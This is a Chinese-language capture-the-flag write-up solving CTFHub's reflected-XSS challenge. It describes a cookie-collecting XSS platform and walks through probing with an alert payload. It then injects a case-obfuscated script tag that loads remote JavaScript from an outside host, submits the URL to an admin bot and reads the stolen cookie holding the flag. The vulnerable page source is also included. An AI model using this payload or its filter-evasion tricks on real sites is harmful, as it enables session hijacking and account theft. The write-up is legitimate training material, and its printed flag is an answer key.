目录
[1、XSS Reflect探测](#1、XSS Reflect探测)
[2、Send URL to Bot](#2、Send URL to Bot)
本文详细讲解CTFHub的XSS-反射型关卡的渗透实战。本文介绍了XSS平台的功能及反射型XSS渗透实战。XSS平台由前端界面(管理面板、数据展示、Payload生成器)和后端服务(数据处理、Payload分发、会话管理)组成。实战部分演示了如何通过XSSReflect进行探测,利用SendURLtoBot模拟管理员访问,最终通过XSS平台窃取Cookie获取flag。关键步骤包括:验证风险、构造恶意URL、提交给Bot执行,在XSS平台查看窃取的Cookie信息(包含flag值)。整个过程展示了反射型XSS攻击的完整流程。
-
造一个恶意链接 :在名字框里输入盗取Cookie的代码,然后得到一个包含代码的恶意网址。
-
把链接给"管理员":把这个恶意网址提交给"Send to Bot"。
-
"管理员"中招:Bot(管理员)会访问你给的链接,他浏览器里存的Cookie就会被你的代码偷走,并发送到你指定的地方。
-
你拿到Cookie:用偷来的管理员Cookie,你就能冒充管理员,成功通关。
一、XSS平台
1、XSS平台简介
XSS平台是一种专门用于跨站脚本攻击测试和安全研究的Web应用程序。它为安全研究人员和白帽子黑客提供模拟真实攻击的环境,用于演示和验证Web应用程序中的XSS安全风险。平台核心功能包括生成并管理各种XSS攻击载荷(Payload)、自动收集受害者浏览器的敏感信息(如Cookie、会话令牌、浏览器指纹等),并提供远程代码执行能力。该平台强调合法与授权使用,通常用于渗透测试、安全教学等,是Web安全领域重要的教育和研究工具。其主要组成部分如下所示。
(1)前端界面
-
攻击管理面板 - 创建、监控攻击活动
-
数据展示界面 - 实时显示收集的信息
-
Payload生成器 - 定制化攻击代码
(2)后端服务
-
数据接收端点 - 处理受害者发回的数据
-
Payload分发 - 动态生成恶意脚本
-
会话管理 - 维持攻击者控制会话
2、XSS平台使用
(1)注册账号
本文以https://xssaq.com/为例,讲解如何在渗透测试场景下使用XSS平台。

(2)登录账号
使用注册的账号登录,如下所示。

登录后效果如下所示,注意左侧菜单栏中的"创建项目"选项,这是我们会用到的功能。

(3)创建项目
点击左侧菜单栏中的"创建项目",随便起个名字"mooyuan",点击立即提交,如下所示。

在"我的的项目"点击刚才创建的项目"mooyuan",再点击右上角的查看配置源码,如下图所示。

此时网页弹框如下所示,我们需要在配置代码中选择自己要使用的脚本,这里我们选择第二个即可,如下所示(特别注意:每个人的payload各不相同)。
<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

二、反射型渗透实战
1、XSS Reflect探测
打开靶场,在关卡页面中寻找所有可能的用户输入点,在第一个输入框内尝试输入最简单的测试载荷<script>alert("ljn")</script>,并观察页面响应。
<script>alert("ljn")</script>

如下所示浏览器成功弹窗,则确认该处存在XSS注入风险,此时XSS反射链接的URL地址如下所示。
http://challenge-7debcb7e143fdb9d.sandbox.ctfhub.com:10800/?name=<script>alert("ljn")<%2Fscript>

2、Send URL to Bot
在CTF中,反射型XSS通常需要管理员触发。将上一步构造好的完整恶意URL提交给平台提供的"模拟管理员"或"机器人"进行访问,即复制XSS反射攻击URL到send URL to Bot对应的地址框中,如下所示。

点击send等价于让bot也执行这个XSS反射链接, 点击send后,就相当于让BOT执行我刚刚这个换浏览器访问XSS反射型攻击的链接一样。如下所示,执行成功,页面返回successfully。

这里我模拟一下执行效果,在本机换个浏览器,执行刚刚的反射URL地址,如下所示成功反弹。

3、XSS平台渗透
接下来的目标是构造能窃取Cookie的有效载荷,由于最终目标是获取管理员Cookie,故而我们不能使用弹窗,而是需要将Cookie外带到自己的服务器。这时候我们就需要一个接收并记录Cookie信息的XSS服务器,本部分部分我们使用XSS平台中的收集cookie功能,如下所示。
<sCRiPt sRC=//xs.pe/YxF></sCrIpT>
-
标签选择 :没有使用常见的
<script>alert(1)</script>,而是选择了<script src="...">。这指示浏览器从外部源(//xs.pe/YxF)加载并执行JavaScript代码。这样做的好处是载荷非常短,且攻击逻辑可以全部放在外部脚本中,便于维护和更新。 -
大小写混淆 :将
script写成了sCRiPt和sCrIpT。这是一种简单的绕过技术 ,用于规避那些只进行简单大小写匹配(如查找<script)的初级WAF(Web应用防火墙)或输入过滤器。 -
属性简化:
-
sRC而不是src:同样是大小写混淆。 -
属性值没有加引号:
sRC=//xs.pe/YxF而不是src="//xs.pe/YxF"。这在HTML中是允许的,能减少特殊字符,有时也能绕过对引号的检查。
-
-
协议相对URL :使用
//xs.pe/YxF而不是http://xs.pe/YxF或https://xs.pe/YxF。这意味着脚本会使用当前页面相同的协议(HTTP或HTTPS)来加载,兼容性更好,无论挑战页面是HTTP还是HTTPS都能成功加载恶意脚本。
(1)输入框1
输入基于XSS安全平台提供的payload,在第一个输入框输入后点击send,此时记录反射型攻击的XSS URL地址。

(2)输入框2
在第二个文本框内输入上一步生成的获取cookie的反射型XSS链接地址,点击send返回successfully。此步骤的目的是将构造好的完整恶意URL(窃取Cookie载荷)提交给平台提供的"模拟管理员"或"机器人"进行访问。一旦管理员浏览器加载此URL,其中的脚本就会自动执行,将其Cookie悄无声息地发送到你在上一步骤中搭建的接收服务器上。

观察XSS平台,如下说明服务器已收到cookie。

点击查看如下所示,找到管理员的Cookie即可成功获取到flag值。

其详细信息如下所示。
|--------------------|----------------------------------------------------------------------------------------------------------------------|
| 记录ID | 630922 |
| 首次触发时间 | 2025-10-28 14:33:35 |
| 最后触发时间 | 2025-10-28 14:33:35 |
| 触发者IP | 1.83.158.14 |
| 页面标题 | CTFHub 技能学习 | XSS Reflex |
| 触发TOP_URL | http://challenge-5f698b830967a013.sandbox.ctfhub.com:10800/?name=<sCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF><%2FsCrIpT> |
| 触发URL | http://challenge-5f698b830967a013.sandbox.ctfhub.com:10800/?name=<sCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF><%2FsCrIpT> |
| 浏览器分辨率 | 800*600 |
| referrer | |
| User Agent | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.138 Safari/537.36 |
| Cookies | flag=ctfhub{e674ab26bf5696a534f87b62} |
| localStorage | {} |
| sessionStorage | {} |
三、源码分析
源码展示了一个完整的、用于教学和挑战的反射型XSS注入的环境,其核心功能可以划分为三个相互关联的模块,共同模拟了一个真实的攻击场景。
1、功能一:用户输入与即时反馈
这是页面的核心交互功能。你在顶部的输入框里写下任何内容(比如你的名字),然后点击提交。页面会立即在下方生成一条问候语,例如 "Hello, 你输入的内容"。
关键点在于:它不仅仅是显示文字,而是将你的输入直接作为网页代码的一部分。如果你输入的是HTML或JavaScript代码,浏览器就会执行它。这就是风险所在。
2、功能二:攻击载荷交付平台
这个功能用于模拟真实攻击。你将一个完整的URL(包含恶意代码)填入这里的输入框,然后点击"Send"。
点击后,系统后台的一个"机器人"(Bot)------它扮演着网站管理员的角色------会自动去访问你提交的这个URL。
3、功能三:系统状态提示器
这是一个简单的用户反馈系统。位于页面顶部的提示框,在你进行操作后(比如提交URL给Bot),它会告诉你操作结果是成功 还是失败。
-
绿色提示框:代表成功,例如"网址已提交,Bot即将访问"。
-
红色提示框:代表失败,并会告知你原因,例如"网址格式错误"。
这个功能让你能清晰地了解自己的操作状态,引导你进行下一步
<html lang="en"><head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>CTFHub 技能学习 | XSS Reflex
</title>
<link rel="stylesheet" href="/static/bootstrap.min.css">
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script>
<script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
<script src="/static/jquery.min.js"></script>
<script src="/static/popper.min.js"></script>
<script src="/static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center">
<h1>
XSS Reflex
</h1>
<hr>
<!-- Alert -->
<div id="alert">
<div id="success" class="alert alert-success" role="alert" style="display: none;"></div>
<div id="fail" class="alert alert-danger" role="alert" style="display: none;"></div>
</div>
<!-- Body -->
<div>
<form action="" method="GET">
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">What's your name</span>
</div>
<input type="text" class="form-control" placeholder="CTFHub" id="name" name="name">
<div class="input-group-append">
<input type="submit" value="Submit" class="btn btn-success">
</div>
</div>
</form>
<!-- Output -->
<hr>
<div>
<h1>Hello, <script src="//xs.pe/YxF"></script>
</h1>
</div>
<hr>
</div>
<!-- Submit -->
<div>
<h2>Send URL to Bot</h2>
<div class="input-group mb-3">
<div class="input-group-prepend">
<span class="input-group-text">URL</span>
</div>
<input type="text" class="form-control" id="url" name="url">
<div class="input-group-append">
<input type="button" id="Send" value="Send" class="btn btn-success" onclick="send()">
</div>
<script>
function send() {
let url = $("#url").val()
$.ajax({
type: "post",
url: "/submit",
dataType: "json",
contentType: "application/json",
data: JSON.stringify({
url: url
}),
success: function (d) {
if (d.code == -1) {
$("#fail").text(d.msg)
$("#fail").show();
setTimeout(function () {
$("#fail").hide();
}, 5000);
} else if (d.code == 0) {
$("#success").text(d.msg)
$("#success").show();
setTimeout(function () {
$("#success").hide();
}, 5000);
}
}
});
}
</script>
</div>
</div>
</div>
</div>
</body></html>